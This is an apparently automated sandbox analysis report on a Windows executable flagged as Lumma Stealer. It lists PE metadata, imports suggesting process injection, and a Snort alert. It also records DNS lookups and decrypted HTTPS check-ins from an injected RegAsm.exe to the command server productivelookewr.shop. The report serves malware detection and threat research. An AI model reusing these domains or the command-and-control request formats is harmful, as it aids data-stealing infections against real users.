SSDEEP:	12288:5R5ouJIVQhcEWuDG6X/ob2qlTIiw/TmQxFZpC:dnJIG2EFlf09GTmYvC
TLSH:	9447F15138C08032D6B3163605E4DAF46F3EF9720F795E9B2754CBBE4F31281DA2666A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3..%wt.vwt.vwt.v...w{t.v...w.t.v...wbt.v...wet.v...wct.v...w~t.vwt.v(t.v...w:t.v...wvt.v...wvt.vRichwt.v................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x404ab3
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6625B229 [Mon Apr 22 00:41:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	735d296c22306fc0a800ccc2ec8ed2a4

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
call 00007F8CC45049FAh
jmp 00007F8CC4504289h
push ebp
mov ebp, esp
jmp 00007F8CC450441Fh
push dword ptr [ebp+08h]
call 00007F8CC450E089h
pop ecx
test eax, eax
je 00007F8CC4504421h
push dword ptr [ebp+08h]
call 00007F8CC450AE59h
pop ecx
test eax, eax
je 00007F8CC45043F8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F8CC450189Bh
jmp 00007F8CC4504CEDh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F8CC4504CFFh
pop ecx
pop ebp
ret
cmp ecx, dword ptr [0046FB00h]
jne 00007F8CC4504413h
ret
jmp 00007F8CC4504D1Bh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F8CC45043E9h
jmp 00007F8CC45043F2h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0046FB00h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0046FB00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2492c	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x70600	0x2670
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x72000	0x192c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x22fc8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x22f08	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1c000	0x15c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1aa04	0x1ac00	4c15859801cd6ab3f1aa5dccad948842	False	0.5813011098130841	data	6.5915998748822755	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1c000	0x9128	0x9200	16c627fe23119da2727ba8da8cc1c5bc	False	0.3929259417808219	data	4.724243668286385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x4b754	0x4aa00	ba209df452c86214b5e95060f558d8f1	False	0.9890009945561139	data	7.991346479525204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x72000	0x192c	0x1a00	4ffd6745fcfe5bbf5835bbc8afa78671	False	0.7521033653846154	data	6.485622010377947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
USER32.dll	CreateCaret, ShowWindowAsync, InSendMessageEx
ADVAPI32.dll	DuplicateToken
SHELL32.dll	ShellExecuteExA
KERNEL32.dll	GetProcessHeap, HeapSize, CreateFileW, TlsSetValue, SetStdHandle, SetEnvironmentVariableW, WaitForSingleObject, CreateRemoteThread, VirtualProtectEx, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, FreeEnvironmentStringsW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, WriteConsoleW, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/22/24-07:00:05.913565	UDP	2049958	ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw)	63363	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 07:00:06.178782940 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.178867102 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.178949118 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.182369947 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.182404041 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.416579008 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.416862965 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.436605930 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.436682940 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.437585115 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.482963085 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.502408028 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.502450943 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.502680063 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.983664036 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.983978987 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.984075069 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.985940933 CEST	49730	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.985964060 CEST	443	49730	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.988688946 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.988768101 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:06.988915920 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.989172935 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:06.989224911 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.214340925 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.214428902 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.225066900 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.225105047 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.225820065 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.227861881 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.227912903 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.228056908 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.795875072 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796027899 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796120882 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796144009 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796175003 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796231031 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796262980 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796413898 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796467066 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796498060 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796595097 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796650887 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796665907 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796756029 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796814919 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796827078 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796922922 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.796974897 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.796987057 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.797157049 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.797224045 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.802328110 CEST	49732	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.802356005 CEST	443	49732	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.839673996 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.839732885 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:07.839962006 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.840250015 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:07.840284109 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.066049099 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.066180944 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.067764997 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.067790985 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.068327904 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.079961061 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.080642939 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.080710888 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.080799103 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.080815077 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.614280939 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.614548922 CEST	443	49735	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.614661932 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.614661932 CEST	49735	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.643733025 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.643806934 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.643906116 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.644279957 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.644315004 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.866707087 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.866919041 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.868114948 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.868145943 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.868678093 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:08.878326893 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.878475904 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:08.878544092 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.397305965 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.397561073 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.397641897 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.397716999 CEST	49738	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.397757053 CEST	443	49738	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.463663101 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.463704109 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.463804960 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.464131117 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.464148998 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.688216925 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.688323021 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.690074921 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.690087080 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.690633059 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.700684071 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.700813055 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.700886011 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:09.701000929 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:09.701010942 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.272198915 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.272403002 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.272617102 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.272804022 CEST	49740	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.272850037 CEST	443	49740	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.369210958 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.369245052 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.369329929 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.370045900 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.370059967 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.594491959 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.594923019 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.596050978 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.596081972 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.596383095 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:10.597987890 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.598144054 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:10.598196983 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.123061895 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.123388052 CEST	443	49742	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.123402119 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.123469114 CEST	49742	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.139533997 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.139575958 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.139739037 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.140053034 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.140069962 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.364940882 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.365206957 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.366511106 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.366523027 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.367014885 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.368340969 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.368562937 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.368570089 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.868935108 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.869184971 CEST	443	49743	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:11.869220972 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:11.869268894 CEST	49743	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.264590025 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.264683008 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.264786959 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.265180111 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.265218019 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.488970995 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.489106894 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.490227938 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.490246058 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.490848064 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.491982937 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.492734909 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.492805004 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.492939949 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.493006945 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.493141890 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.493372917 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.493529081 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.493567944 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.493762016 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.493803024 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.493999004 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.494054079 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.494075060 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.494182110 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.494308949 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.494349957 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.494389057 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.494424105 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.494550943 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.540162086 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.540585995 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.540663004 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.540704012 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.584161043 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.584405899 CEST	49746	443	192.168.2.4	104.21.11.250
Apr 22, 2024 07:00:12.628197908 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:12.808670998 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:14.558342934 CEST	443	49746	104.21.11.250	192.168.2.4
Apr 22, 2024 07:00:14.558579922 CEST	49746	443	192.168.2.4	104.21.11.250

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 07:00:05.913564920 CEST	63363	53	192.168.2.4	1.1.1.1
Apr 22, 2024 07:00:06.036990881 CEST	53	63363	1.1.1.1	192.168.2.4
Apr 22, 2024 07:00:06.039350033 CEST	59884	53	192.168.2.4	1.1.1.1
Apr 22, 2024 07:00:06.174057961 CEST	53	59884	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 22, 2024 07:00:05.913564920 CEST	192.168.2.4	1.1.1.1	0x7915	Standard query (0)	sideindexfollowragelrew.pw	A (IP address)	IN (0x0001)	false
Apr 22, 2024 07:00:06.039350033 CEST	192.168.2.4	1.1.1.1	0xa7a9	Standard query (0)	productivelookewr.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 22, 2024 07:00:06.174057961 CEST	1.1.1.1	192.168.2.4	0xa7a9	No error (0)	productivelookewr.shop		104.21.11.250	A (IP address)	IN (0x0001)	false
Apr 22, 2024 07:00:06.174057961 CEST	1.1.1.1	192.168.2.4	0xa7a9	No error (0)	productivelookewr.shop		172.67.150.207	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

productivelookewr.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:06 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: productivelookewr.shop
2024-04-22 05:00:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-22 05:00:06 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nkrn2lrlevhv6ggmpcsar2297l; expires=Thu, 15-Aug-2024 22:46:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cwt35kjUJfEvt205TfmXyWrWjaZQhz2ghNQiwUeIHQtM96zdiwdtlulROMrdjs6N2J03O%2BsahXO%2FUWhY15Zy5%2Bh1AIDIXPgZi9YJ1PbxciUfgKEibR0eXZRgU4%2BhF8tpA4rLU1IyFxRz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c5d48a0677f-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 05:00:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-22 05:00:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.11.250	443	7472	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 05:00:07 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 60 Host: productivelookewr.shop
2024-04-22 05:00:07 UTC	60	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 4b 72 79 73 74 61 6c 69 6b 33 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@Krystalik3&j=default
2024-04-22 05:00:07 UTC	804	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 05:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hf28sg5fc431dtjjvpv8ie5c1n; expires=Thu, 15-Aug-2024 22:46:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0OVKVYQQHiXV63%2BPEkj6KERO0NLdnUxUX7wpkTUeEyexeHIxArEXyyA99tlVz0SzE5Z0t%2FQn8TTEO1jD6fIJPnJGmIVRON9OdFFNMlgEee6Tb4%2FVPHQkBImuhm0EcbDn8eckFSTazoC7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87830c624b79678a-ATL alt-svc: h3=":443"; ma=86400
